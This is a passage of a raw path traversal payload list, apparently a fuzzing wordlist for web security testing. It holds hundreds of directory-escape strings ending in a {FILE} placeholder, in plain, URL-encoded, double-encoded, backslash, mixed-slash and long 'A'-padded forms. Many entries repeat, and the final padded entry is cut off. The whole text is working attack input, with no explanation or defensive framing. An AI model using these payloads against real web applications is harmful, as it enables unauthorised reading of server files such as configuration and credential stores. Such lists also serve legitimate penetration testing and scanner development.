..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA